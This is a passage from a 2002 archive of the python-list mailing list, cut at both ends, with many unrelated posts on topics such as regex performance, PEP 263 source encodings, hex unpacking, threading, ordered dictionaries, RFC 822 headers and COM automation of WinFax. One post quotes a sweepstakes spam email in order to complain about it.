10:42:32 2002 From: Mike_Bohr at gmx.net (Bohr, Mike) Date: Mon, 13 May 2002 16:42:32 +0200 Subject: Tkinter Configuration References: Message-ID: Eric Brunel wrote: >> Hi there, >> >> How can I configure the Tkinter??? > > Please state what is your platform and what you've already done. Without > that, we cannot be of any help... I've got S.u.S.E. Linux 7.3 Personal. I've only installed Python 2.2.1 . From ctgaff at attbi.com Thu May 30 04:54:59 2002 From: ctgaff at attbi.com (Corey G.) Date: Thu, 30 May 2002 03:54:59 -0500 Subject: matching one time through a loop In-Reply-To: References: <5IfJ8.71468$Oa1.6018326@bin8.nnrp.aus1.giganews.com> Message-ID: <20020530085459.GA44074@attbi.com> This comment made me realize just how little I know about Python. Well, it's only been 3 days now, but none the less. By moving the regex out of the loop and only compiling it once, the script is 3x faster than before and now out performs my original Perl script. Thanks for finding this. -Corey On Wed, May 29, 2002 at 10:34:30PM -0700, Sean 'Shaleh' Perry wrote: > > > > If you want to stop at first, then there is no need to count. Just > > stop. Also, searching for literal string should be more efficient > > with string.find than more general re stuff. > > > > if you do need the regex, there is only a need to compile it once before any of > the loops rather than every time through. The way it is now there is no point > in compiling the regex as it is recomputed every time anyway. > > > -- > http://mail.python.org/mailman/listinfo/python-list ---end quoted text--- -- Best Regards, Corey From robin at jessikat.fsnet.co.uk Sat May 11 05:53:22 2002 From: robin at jessikat.fsnet.co.uk (Robin Becker) Date: Sat, 11 May 2002 10:53:22 +0100 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: Message-ID: In article , Martin v. L?wis writes ..... >> >> #!/usr/bin/python >> # -*- coding: -*- >> >> >> why not use something like: >> >> #!/usr/bin/python >> # > >What is the advantage of this notation? The advantage of the above >notation is that existing editors already recognize it. Compared to >your proposal, it has also the advantage that it is easier to type. > ...... Which editors use this? I suppose emacs/xemac or similar, but since emacs is a minority editor (even amongst unixers) I think that the recognition pattern issue is open. A vi(m) compatible thing reaches a larger audience, but then I use that :) No doubt pythonwin will follow whatever is decided, but what about mac users and all the people using notepad, ed, bliss etc etc? It would be nice to know which editors (today) are unicode aware and how they do the encoding recognition thing. If we then also had usage figures, perhaps there could be a reasonable numbers game. As for the PEP itself the only snag seems to me to be the BOM + comment problem. If I change the BOM by hitting saveAs myWeirdEncoding the file is a dead python unless I also change the comment (or is that an issue only with utf8 at present?). I agree version specifications is a separate issue. >Precisely my question. > >Regards, >Martin > > -- Robin Becker From dominica at www.com Sun May 12 11:05:25 2002 From: dominica at www.com (Drake) Date: 12 May 2002 08:05:25 -0700 Subject: The vault and XP Message-ID: <79c63baa.0205120705.3ca59f6a@posting.google.com> Ever since upgrading (ie re-tooling) to XPPro, I have not been able to access the vault. No problem from home on 98SE w/IE5.5. I'm thinking it's a service, or a policy problem. Anybody heard of this before or have any suggestions on how to fix it? Thanks Drake From nookieNO_SP_AM at online.no Fri May 24 01:19:40 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Fri, 24 May 2002 05:19:40 GMT Subject: Win $ 3,000.00 in cash ! References: Message-ID: how come that its only asians who send spam? atleast, all I get is from them. wrote in message news:mailman.1022205881.13265.python-list at python.org... > Oshirase-Mailer Control > Subject: Win $ 3,000.00 in cash ! > > Dear Sir/Madam, > > Starting May 22, 2002, we offer you the chance to take > part in our NEW questionnaire posted on our web site > and to win $ 3,000.00 in cash. > 'PC User Survey - Customer Satisfaction Survey' > > Please visit now HERE > http://www.vlcank.com/usa/index.html > > We think you will find this web survey very interesting > and your input will help guide manufacturers to improve > their products ! > > Once you qualify and complete our new web survey, you will > be automatically entered into sweepstakes to win $ 3,000.00 > in cash prizes ! > > We only need a very limited number of completes! > Fill the questionnaire now and become the winner who will > be randomly selected and get $ 3,000.00 in cash ! > > Sincerely, > > Sumio Muramatsu > > > * Please discard this message if you do not have any > interest. > > * If you'd like to unsubscribe, Send mail to: > vlcusa at vlcank.co.jp > > From fokke_wulf at hotmail.com Sat May 18 10:00:02 2002 From: fokke_wulf at hotmail.com (Matthew Diephouse) Date: Sat, 18 May 2002 14:00:02 GMT Subject: Unpacking a hex value References: <3CE5A7A7.2060204@hotmail.com> <3CE5B856.D1150BCC@engcorp.com> <3CE5BD65.3000908@hotmail.com> <3CE5D606.5D539589@engcorp.com> Message-ID: <3CE65D81.30508@hotmail.com> > I get the impression you are trying to do something slightly > different than what either of these solutions gives you, so maybe > you could give examples of input and desired output if that doesn't > solve your problems. > > -Peter OK. I'm trying to open and decode some binary files. In order to do get the data, I need to break up parts of them into 1's and 0's, so I have a function hex2bin() that transform some of the data from hex to 1's and 0's. I already have Perl code to do this, which I'll put below. There are a couple things that are messing me up. Many of them are from pack/unpack, though some come from the differences between perl/ruby and python. Pack/unpack don't accept the format "H*", or the number of chars that I'm getting out of the perl functions. sub hex2bin { # For example data, my $out = hex( shift(@_) ); # $out = 21847 (after command) $out = pack("N", $out); # $out = UW $out = unpack("B32", $out); # $out = 00000000000000000101010101010111 $out = substr $out, -16, 16; # $out = 0101010101010111 return split "", $out; } There's my function in perl. What I've been trying in python is: def hex2bin(input): output = int( input, 16) output = pack("!l", output) output = unpack("B" * (len(input) / calcsize("B")), output) # ----------------^ # "B32" gives me an error print output output = output[-16:16] return output.split("") So how should the python code look? md |- m:att d:iephouse From deltapigz at telocity.com Fri May 10 23:36:51 2002 From: deltapigz at telocity.com (Adonis) Date: Fri, 10 May 2002 23:36:51 -0400 Subject: How to stop this race condition more effectively Message-ID: <3cdc95cb$1_6@nopics.sjc> i have these two functions running on seperate threads, but when executed it causes a race condition on the system, hogging 100% cpu, i was able to alleviate it by inserting a time.sleep(1) function to "slow" it down to where its at 0% cpu usage when idle which is what i want, problem solved. correct, but i was wondering if it could be optimized more? any help would greatly be appreciated. Adonis -- code -- def proc_hndl(self): while 1: if self.xmm_hndl_list.qsize() > 0: while self.xmm_hndl_list.qsize(): try: self.xmm_hndl_list_final.append(self.xmm_hndl_list.get(0)) except Queue.Empty: pass else: time.sleep(1) def proc_clnt(self): while 1: if self.xmm_clnt_list.qsize() > 0: while self.xmm_clnt_list.qsize(): try: proc_data = self.xmm_clnt_list.get(0) proc_data_str = "" for x in range(1, len(proc_data)): proc_data_str = proc_data_str + str(proc_data[x]) + ',' self.xmm_clnt_list_final['%s'%str(proc_data[2])] = proc_data_str[:len(proc_data_str) - 1] self.xmm_hndl.dict['%s'%str(proc_data[2])] = proc_data[0] except Queue.Empty: pass else: time.sleep(1) From aleax at aleax.it Sun May 12 13:14:40 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 17:14:40 GMT Subject: Iterating over the cells of an array? (fwd) References: Message-ID: <4qxD8.33453$CN3.1163956@news2.tin.it> John J. Lee wrote: >> On Sun, 12 May 2002, Alex Martelli wrote: > [...] >> > Chacking isn't all that expensive, is it? ... > There I was, thinking I'd found a bug in the Alex-bot. You did, though not the one you thought -- 'Chacking' ??? Alex From imunitic at yahoo.com Fri May 24 10:22:29 2002 From: imunitic at yahoo.com (Ivica Munitic) Date: 24 May 2002 14:22:29 GMT Subject: Win api Message-ID: Can anyone tell me how can I disable networking ( lan, tcp/ip protocol) from my python application. Is there an api call or must I call an outside windows program. Tnx in advance!! From warlock at eskimo.com Sun May 5 15:19:20 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sun, 5 May 2002 12:19:20 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sun, 5 May 2002 15:43:14 +0100, Simon Foster wrote: > > "Jim Richardson" wrote in message > news:tvl2ba.4q7.ln at 127.0.0.1... >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> > > ... > >> >> Well, now that I have conquered elementry trig, I am now going to try >> for simple python and figure out how to add the contents of a tuple to >> the contents of another tuple... >> > > Try '+' > >>>> a > (1, 2) >>>> b > (3, 4) >>>> a+b > (1, 2, 3, 4) >>>> > > sorry, I wasn't very clear, in the above example, the result I am looking for is >>>a=(1,2) >>>b=(2,3) >>>a+b (3,5) if that makes sense, I don't want to append, I want to add. > > > > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81YW4d90bcYOAWPYRAoTvAKCwwIqQts+K+Bi3JWZWZ1UIz87pYQCgxuwd wicTymWLn2xqKFnoEZkRXSg= =NVVK -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From aleax at aleax.it Fri May 3 03:34:27 2002 From: aleax at aleax.it (Alex Martelli) Date: Fri, 03 May 2002 07:34:27 GMT Subject: Newbie: finding the key/index of the min/max element References: <200204301620.00255.bhan@andrew.cmu.edu> Message-ID: <74rA8.41449$8D3.1220071@news1.tin.it> David Eppstein wrote: ... >> > list, I'm pretty sure it would usually be better just to sort the list >> > and return the middle item, instead of using a linear-time median >> > finding algorithm, despite the nonlinear big-O time of a sort. >> >> No doubt -- for small-enough N. Just as doublessly, there will be >> an N above which the O(N) algorithm is preferable. > > My impression is that precompiled can beat interpreted by as much as a > factor of 100. What is the N for which that beats an O(log N) factor? I don't know, as I don't have a linear-time median finder lying around, and I'm not going to code and debug one just for fun. The sort method of lists is so wonderfully well optimized that racing against it can be, well, "interesting" (studying its C sources carefully after reading Tim Peter's introductory essay to the "searching and sorting" chapter of the Python Cookbook teaches a LOT about programming and optimizing, IMHO -- which reminds me, I'd better drop c.l.py again and rush right back to Cookbook editing *NOW*...). Alex From pinard at iro.umontreal.ca Fri May 24 18:03:15 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 24 May 2002 18:03:15 -0400 Subject: multithreading In-Reply-To: References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: [Aahz] > My response is that instead of trying to take advantage of the few > atomic Python constructs, instead code defensively and always use > thread-safe mechanisms for passing information. Because Python has a > powerful and simple Queue, this is straightforward to accomplish. But abusing Queues for very simple things, a bit everywhere, might yield code bloat, and impinge readability. This is a bit like if someone was inviting everyone to abuse fixed point integer arithmetic all over as a way to program defensively against floating point arithmetic. The key point is proper documentation. Even saying that a behaviour is undefined is good documentation, as it teaches what should be avoided. One could be paranoid and setup queues and server to serve `os.listdir()', say, in fear that two threads could not simultaneously use that library function. We can go overboard doing such things, maybe without any kind of real necessity. Best is to know how thing works, that is, what is guaranteed and can be relied upon, and what is not guaranteed, and need synchronisation mechanisms. Mere testing is out of question, as a working program is no proof of a correct usage. Abusing of a few synchronisation primitives is no good either: I hope being able to know Python well enough to feel it is on my side, and not have to program defensively as if it was a lost cause trying to understand how Python is meant to be used. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From anthony at interlink.com.au Tue May 28 07:34:22 2002 From: anthony at interlink.com.au (Anthony Baxter) Date: Tue, 28 May 2002 21:34:22 +1000 Subject: The email package and KLEZ mails In-Reply-To: Message from pinard@iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) of "28 May 2002 07:13:05 -0400." Message-ID: <200205281134.g4SBYM420349@localhost.localdomain> > In my experience, incorrect MIME structure is one of the numerous > hints about mail being SPAM. I do not remember a single false positive. I wish. I have to deal with end-user email, and trust me, it's not all spam. Anthony -- Anthony Baxter It's never too late to have a happy childhood. From SSchukat at dspace.de Thu May 23 10:16:24 2002 From: SSchukat at dspace.de (Stefan Schukat) Date: Thu, 23 May 2002 15:16:24 +0100 Subject: PythonCOM Problem: Automating WinFAX from Python Message-ID: <84257D042AA7D411B3F700D0B7DB9B7C13B14E@PDC-DSPACE> Hi, to use the function non dynamically the following could work. # Import gencache library for on demand module creation from win32com.client import gencache # Get the module either via cache (ID of the winfay library , Locale, VersionMajor, VersionMinor) Module = gencache.EnsureModule("808D9041-49C1-11CE-A7FB-444553540000", 0x0, 1, 0) # Create the object via the module sendobj = Module.CSDKSend() # instead of win32com.client.dynamic("WinFax.SDKSend") # Create the wrapper class around the untyped Application object appObj = Module.COleWinFaxApp(sendobj.Application) # Call the byref function Result, Status = appObj.GetAutoRecieve(Device, Status) To make things easier you could change the generated wrapper to give the Python COM infrastructure more information. Stefan -----Original Message----- From: tl_news at nexgo.de [mailto:tl_news at nexgo.de] Sent: Thursday, May 23, 2002 1:28 PM To: Stefan Schukat Subject: Aw: RE: PythonCOM Problem: Automating WinFAX from Python Hi! > this is a property with an parameter. Since in Python is > no concept like call by reference. You have to use the > makepy generated wrapper (Either by makepy or EnsureDispatch) to call > such a function. This wrapper translates the call to: > > >>> Result, Status = appObj.GetAutoRecieve(Device, Status) > > Why there is a typeerror depends on the implementing object. The Problem is that the COM Objects are all in "WinFax Automation Server 1.0" and the one I want to use is for example "WinFax.SDKSend" or "WinFax.SDKPhonebook" I can create the gen_py wrapper for the "WinFax Automation Server" but then it doesn't detect that "WinFax.SDKSend" is one of those objects and binds it dynamically. > I must have a look at the makepy wrapper to tell you more. Attached you'll find the gen_py generated wrapper. Maybe you can help? Thanks a lot, Stefan! Tino ----------------------------------------------------------------------- PCs & Notebooks bei eBay. Riesenauswahl an neuen und gebrauchten Ger?ten aller Anbieter. Ob Thinkpad oder Vaio - Preise vergleichen, Preise mitbestimmen - kaufen und verkaufen! Startpreise ab EUR 1,- http://www.arcor.de/home/redir.php/ebaymai ----------------------------------------------------------------------- From dswegen at software.plasmon.com Fri May 31 08:23:24 2002 From: dswegen at software.plasmon.com (Dave Swegen) Date: Fri, 31 May 2002 13:23:24 +0100 Subject: Python equivalent of shell's '$?' In-Reply-To: <1022843294.642.8.camel@walter> References: <20020531100700.GN14959@software.plasmon> <1022843294.642.8.camel@walter> Message-ID: <20020531122324.GP14959@software.plasmon> On Fri, May 31, 2002 at 12:08:13PM +0100, Graham Ashton wrote: > On Fri, 2002-05-31 at 11:07, Dave Swegen wrote: > > > If I call an external program from a python script, how do I check that > > programs exit status? > > It's the return value of os.system. Unless you're on win9x. You're not, > are you? > Nope. In this case it was FreeBSD. > > Or does python suffer from > > the same unreliabilty as perl in this regard > > I never had any problem with this in five years of Perl, almost > exclusively on Linux. What platform are you running on? > > > (I've learnt that catching > > errors from sub shells is highly unreliable, and ended up having not > > checking for errors, as I would sometimes get spurious results back). > > This suggests you're on windows, which is crap at launching other > processes in a simple manner. To get round many of the problems you have > to use stuff from the windows API, as the command interpreter is utter > fudge. I can't quite remember exactly what the problem was (I seem to recall that the errno returned was not what the called program returned). This was using both open and backticks. It was yet another nail in the coffin that is my opinion of perl ;) I should point out that I am no expert in perl (nor do I wish to become one, either). > > Your reference to sh makes me hopeful that you're on a more sensible > system than that though... Too bloody right I am! :) Cheers Dave From max at alcyone.com Fri May 10 15:21:32 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 10 May 2002 12:21:32 -0700 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <3CDC1DBC.25C7AD7A@alcyone.com> holger krekel wrote: > david and you are right but additionally the OP suggested > a general [* syntax *] escape mechanism. So what would be the purpose of that if it already behaves the way he wishes? -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From news at lindbergs.org Fri May 10 00:41:51 2002 From: news at lindbergs.org (VanL) Date: Thu, 09 May 2002 22:41:51 -0600 Subject: Is there such a thing as an ordered dict? Message-ID: <3CDB4F8F.2000308@lindbergs.org> I am trying to implement an outline as a tree of nodes. This would seem to be most easily accomplished using a dict, where the name of the node was the key, and the value of the node the hash (including any subnodes). Unfortunately, the outline needs to also be order-aware -- that is, I can't have a user enter an outline like this I Head 1 A. Subhead 1 (content) B. Subhead 2 (content) II. Head 2 (content) III. Head 3 and have it be printed as II. Head 2 (content) III Head 3 I Head 1 B. Subhead 2 (content) A. Subhead 1 (content) Is there some sort of halfway-dict halfway-list that could be accessed by key *and* by position? So that the following would work: [ Assume half-and-half structure as described above, with the outline above entered in an instance called OUTLINE] >>> 'Head 2' in OUTLINE 1 >>> OUTLINE['Head 2'] '(content)' >>> for x in OUTLINE: print x, OUTLINE[x] 'Head 1' ['Subhead 1', 'Subhead 2'] 'Head 2' 'Head 3' '(content)' >>> for x in range(len(OUTLINE)): print x, OUTLINE[x] 0 'Head 1' 1 'Head 2' 2 'Head 3' TIA From timr at probo.com Mon May 20 02:45:43 2002 From: timr at probo.com (Tim Roberts) Date: Sun, 19 May 2002 23:45:43 -0700 Subject: Regular Expressions and RFC 822 References: Message-ID: "alex gigh" wrote: > >I am trying to write a mail server in Python and I found out that I can use >regular expressions and then grouping: > >"For example, an RFC-822 header line is divided into a header name and a >value, separated by a ":". This can be handled by writing a regular >expression which matches an entire header line, and has one group which >matches the header name, and another group which matches the header's value. >" That's not exactly true. RFC-822 header lines are often continued onto multiple lines. A line following a header that starts with whitespace is automatically a continuation of the previous line: Subject: This is a rather unusual but perfectly legal subject line that could not be easily parsed with a simple regular expression. To: "Joe Cool" , "Charlie Brown" When you say you are writing a mail server, what do you really mean? Are you writing a mail CLIENT, or are you actually writing a mail transfer agent like sendmail? -- - Tim Roberts, timr at probo.com Providenza & Boekelheide, Inc. From pyth at devel.trillke.net Thu May 2 08:20:26 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 2 May 2002 14:20:26 +0200 Subject: Newbie: finding the key/index of the min/max element In-Reply-To: <3CD1247F.6B5DED3C@cascade-sys.com> References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> <3CD1247F.6B5DED3C@cascade-sys.com> Message-ID: <20020502122026.GT16217@devel.trillke> [James J. Besemer] > Andrew Dalke wrote: > > > And "dealt with" > > sounds more harsh that I would like to be, and would like the group to be. > > Ok you can NOT "deal with" them. > > People seem to attach a negative connotation to what I say no matter how neutral > I try to be. I appreciate that some of this is my own fault but I'll be glad > when you all can take my words at face value. In my oppinion some of the inhabitants of c.l.py bias their interpretation strongly on your first postings. Noticing that you don't plan to go away (hopefully!) they remain somewhat generally negative. Maybe they fear that in the long run you are going to change their place to a sarcastic, screaming hell? Actually i started to take part in c.l.py at about the same time as you. I really enjoy many of the postings here (including yours) and try to contribute. And i hope that the people who brought c.l.py to its current mostly joyful state give interested newcomers more than one chance to adapt. (e.g. i hope that Alex Martelli does not think too badly about me after our 'update locals()' argument). greetings, holger From whisper at oz.net Sun May 19 16:03:30 2002 From: whisper at oz.net (David LeBlanc) Date: Sun, 19 May 2002 13:03:30 -0700 Subject: OT: Crazy Programming In-Reply-To: Message-ID: You're pretty much correct. For years Microsoft hired mainly (>90%) recent college graduates to fill in the trenches and the balance where the experienced cadre that, in theory, guided them. College grads are cheap, idealistic enough to work for about half what their peers make for the prestiege of working at MS and do it for 70-80 hours a week for 5 years. They also had the right "make my mark on the world and I can do anything better then what's come before" (aka "not invented here") Times have changed though. When I contracted at MS again last year, I was struck by how things had changed. There where far fewer offices that looked like recreations of a dorm room or some "Dungeons and Dragons" fantasy (still a fair amount of "6 computers and 8 monitors" hardware geeks around though - amount of hardware in one's office is an internal prestige/power thing), people where generally older (in their 30's now!), a _lot_ of offspring came to the Holloween Party and the building generally got pretty quiet by 6 PM. Still a lot of Microsoft "culture" around, but nothing like my first stint at MS in '96. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Steve Holden > Sent: Sunday, May 19, 2002 12:08 > To: python-list at python.org > Subject: Re: OT: Crazy Programming > > This hasn't stopped some pretty baroque architectures being designed for > software systems. In my experience, the more baroque the architecture the > less experienced the designer (which is why I sometimes > disparagingly refer > to microsoft systems as being written by recent graduates. We all have to > learn somehow ;-) > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > > -- > http://mail.python.org/mailman/listinfo/python-list From nookieNO_SP_AM at online.no Sun May 12 15:14:17 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Sun, 12 May 2002 19:14:17 GMT Subject: python, a scripting language? Message-ID: A friend of mine which is a java programmer insists on that python is scripting language... I belive the term "script" is outdated because of "precompilation". The term for a script-language is that you write and run your program as text? Anyway... I would be happy to hear some reasons why python is not a scripting language... Erlend J. Leiknes From tdelaney at avaya.com Thu May 16 21:41:29 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 17 May 2002 11:41:29 +1000 Subject: Stupid string formatting question Message-ID: > From: Michael S. Fischer [mailto:michael+usenet at dynamine.net] > > Why can't I do this? > > def foo(x): > # Do some operations on x yielding a and b > return a, b > > print "a = %s, b = %s" % (foo(x)) > > It seems counter-intuitive that although foo is defined to > return a 2-item > tuple, the interpreter just doesn't get it. def foo(x): # Do some operations on x yielding a and b a = 1 b = 2 return a, b print "a = %s, b = %s" % (foo(x)) ^ ---------- Run ---------- Traceback (most recent call last): File "C:\python\modules\test9.py", line 40, in ? print "a = %s, b = %s" % (foo(x)) NameError: name 'x' is not defined ------------------------- print "a = %s, b = %s" % (foo(1)) ---------- Run ---------- a = 1, b = 2 ------------------------- Tim Delaney From romberg at smaug.fsl.noaa.gov Tue May 28 12:53:04 2002 From: romberg at smaug.fsl.noaa.gov (Mike Romberg) Date: 28 May 2002 10:53:04 -0600 Subject: Why no libpython2.x.so in redhat? References: Message-ID: >>>>> " " == Chris Fonnesbeck writes: > I'm just trying to figure out why my program is running fine on > Debian, but not on RedHat. Here's some simple code that > illustrates what is not working: [snip] > The program segfaults when it calls PyArray_FromDims. You need to call an init function for the Numeric module (described in the numeric documentation). If you don't then the most common thing to happen is a segmentation fault. Mike Romberg From sholden at holdenweb.com Fri May 3 07:49:15 2002 From: sholden at holdenweb.com (Steve Holden) Date: Fri, 3 May 2002 07:49:15 -0400 Subject: urllib/urllib2 help References: Message-ID: "Gabe Newcomb" wrote ... > I'm doing some automated testing of an API that can be called by http > requests (I'm using POST). For these purposes, I'm using urllib2, which > is working fabulously...except for one thing. Some of the calls require > a browser session to be in existence so that they can keep referring to > it. I'm fairly ignorant of how all of this works, but the one thing I > know is that using urllib2.urlopen() does not create any type of > session. > Browser sessions are created using cookies. The server sends your browser (or, as you are now discovering, other HTTP client) a response which includes one or more Ste-Cookie: headers. The cookies are specific to the server's domain (or some selected subdomain, such as the server itself) and a content-path (such as / to cover the whole site, or /secret/ to cover only URLs in that subdirectory). Whenever the client makes a request it should examine its cookie jar (where it stores the cookies that have been sent by the various servers it has interacted with) and include (as Cookie: headers) those that match the domain and path of the URL it is requesting. This is a very general mechanism: you can get more background at http://www.netscape.com/newsref/std/cookie_spec.html but, of course, you'll have to do a little digging to find out how the server you are using expects the browser to maintain state. Just "iomplementing" cookies is usually enough, but there are wrinkles when you get to things like HTTP redirections. > My question is this: is there any way for me to create a session object > for my testing? Would I have to work with IE's object model or > something? Is there a win32* library for this? > There has been some discussion recently about this, but I'm not sure anyone is yet hacking code for the standard library. The standard library includes a Cookie module that you can use to generate cookie headers in your HTTP, but I'm not familiar enough with urllib2 to understand how you can insert thm as request headers, which is what you need to do. > I hope this question is on-topic enough. I love doing my testing in > Python, and I hope I can find a way to keep using it for this effort. > Certainly not off-topic, and as you are beginning to realise there's almost nothing you *can't* do in Python. Let us know when you get it to work! regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From lists at weissinger.org Mon May 13 20:40:11 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Mon, 13 May 2002 20:40:11 -0400 Subject: [ANN] Puffin: Web Application Testing Framework In-Reply-To: Message-ID: Oh. And it is 100% PURE PYTHON goodness, as well. Did I mention that? > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of A. Keyton Weissinger > Sent: Monday, May 13, 2002 8:34 PM > To: python-list at python.org > Subject: [ANN] Puffin: Web Application Testing Framework > > > Greetings and salutations! > > I've sent this to the Announcements list, but there seems to be > just as many > announcements on this list. So I figured I'd drop this one-time > note in here > as well. > > What is Puffin? > > Puffin allows you to test any web application or service. Once > customized to > your web application, you can use Puffin to unit test individual > web pages, > system test your entire web application, or load test your entire site. > > You can find out more about Puffin at http://puffin.sourceforge.net. > > You can either download the latest stable release (0.8.9) or retrieve the > latest snapshot from CVS (recommended -- lots of bugfixes and some MySQL > support). > > The documentation is in the process of being updated, but check out the > current User's Guide, nonetheless > (http://puffin.sourceforge.net/puffindocs/UserGuide.htm). It gives the ins > and outs of all that Puffin can do. > > Be sure to watch IBM's developerWorks for a series of articles > coming up on > Puffin as well! > > I'm looking for any and every way I can make Puffin better. So don't > hesitate to contact me if you find a bug or think of a feature you want. I > will make whatever time is required to make Puffin better fit > your needs and > its purpose! > > Thank you! > > Keyton > > > > -- > http://mail.python.org/mailman/listinfo/python-list > > From joonas at olen.to Fri May 10 16:36:27 2002 From: joonas at olen.to (Joonas Paalasmaa) Date: 10 May 2002 13:36:27 -0700 Subject: Error Log References: Message-ID: <11aed8f9.0205101236.490b701e@posting.google.com> "Billy Ng" wrote in message news:... > I need to write a error log module that append the error line into a log > file every time an exception is thrown. Would anybody please give me input > for how to do it in pytohn, thanks! Use the Python logging module and specifically it's exception-function. http://www.red-dove.com/python_logging.html From kahanpaa at gstar.astro.helsinki.fi Sat May 25 07:31:25 2002 From: kahanpaa at gstar.astro.helsinki.fi (Jere Kahanpaa) Date: 25 May 2002 11:31:25 GMT Subject: Python help References: <3cef7001_1@news.iprimus.com.au> Message-ID: tritran wrote: > Assume that i got the string of text such as "Student name:Yajen | Class: > 143 | ID:205851C" > I like to seperate this line into the 3 varibles like stName, stClass, and > stId. How can i do this, can someone help me. > Thank a lot Simple solution (withot any error checking!): def splitpart(x): return x.split(':')[1] s = "Student name:Yajen | Class:143 | ID:205851C" stName, stClass, stId = map(splitpart,s.split('|')) # Note: Older version require string.split(s,'|') Jere -- It's hard to think outside the box when you ARE the box. - unknown, alt.religion.kibology From logiplexsoftware at earthlink.net Thu May 23 16:21:58 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 23 May 2002 13:21:58 -0700 Subject: multithreading In-Reply-To: <87sn4n6gz9.fsf@kursk.kassube.de> References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> Message-ID: <20020523132158.3334e70b.logiplexsoftware@earthlink.net> On Sun, 19 May 2002 22:05:30 +0200 Nils Kassube wrote: > "Rob Hall" writes: > > > Can anyone point me to a useful tutorial on multithreading? > > One advice: Avoid multithreading like the plague. > > Multithreading is a very big stability risk if you don't know exactly > what you are doing, i.e. most programmers most of the time. I think this is a bit of an overstatement. Many problems are best expressed as multithreaded programs. Trying to solve a naturally multithreaded problem as a single-threaded app can be more complex and error-prone than the natural multithreaded solution. The argument about knowing exactly what you are doing could be easily applied to any moderately complex programming endeavor (network programming, GUI programming, etc). Should these be avoided as well? In fact, programming itself poses the same risks. Learning to write threaded programs is a natural step in a programmer's development. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From aleax at aleax.it Sun May 12 14:36:42 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 18:36:42 GMT Subject: Rationals and Linear Programming in Python References: <7x661txltc.fsf@ruckus.brouhaha.com> Message-ID: <_CyD8.33648$CN3.1173032@news2.tin.it> Paul Rubin wrote: > gmpy supports rationals. Just say q = gmpy.mpq(1) to initialize q to 1/1. > Any arithmetic you do on it after that (except with floating point > operands) will give rational results. Actually, the "except floating point operands" is not necessary in recent-ish gmpy's: >>> import gmpy >>> print gmpy.version() 0.9.0c >>> print gmpy.mpq(1)+1/3. 4/3 I.e., float is promoted to mpq by coercion (building an mpq from a float uses a heuristically-reasonable approximation, of course, or else 1/3. would not translate to mpq(1, 3) but to some complicated fraction;-). You need to explicitly convert with float() if you want float to be used: >>> print float(gmpy.mpq(1)+1/3.) 1.33333333333 >>> Alex From whisper at oz.net Thu May 9 13:23:21 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 9 May 2002 10:23:21 -0700 Subject: "a better input" In-Reply-To: Message-ID: Has "self" become "this" in cvs? ;-> True and false are released in 2.2.1 David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Andrew Dalke > Sent: Thursday, May 09, 2002 9:59 > To: python-list at python.org > Subject: Re: "a better input" > > > Alex: > > def isThisAComplexLiteral(this): > > try: complex(this) > > except: return False > > else: return True > > Minor point. "except ValueError:" instead of "except:" as in > > try: > complex(this) > except ValueError: > return False > else: > return True > > > Of course, the real approach is less silly: > > > > def cooked_input(astr=None): > > if astr=None: astr=raw_input > > for atype in int, long, float, complex: > > try: return atype(astr) > except ValueError: pass # I changed this line > > else: > > return astr > > There may be some exceptions those throw besides ValueError, > but I don't know of any, and I just scanned floatobject.c and > intobject.c to veriy those cases. > > My worry about "except:" is that it ignores KeyboardInterrupt > (if done at just the right/wrong time) and gives false results > for typos, like > > complx(s) > > (raises a NameError, which is caught by the exception and turned > into a False. It's catchable in testing, but not as easy to > identify as a traceback which points out the error location. > > Andrew > dalke at dalkescientific.com > P.S. > And 'True' and 'False'? Nothing like cutting edge CVS Python :) > > > > -- > http://mail.python.org/mailman/listinfo/python-list From mhammond at skippinet.com.au Mon May 27 19:20:15 2002 From: mhammond at 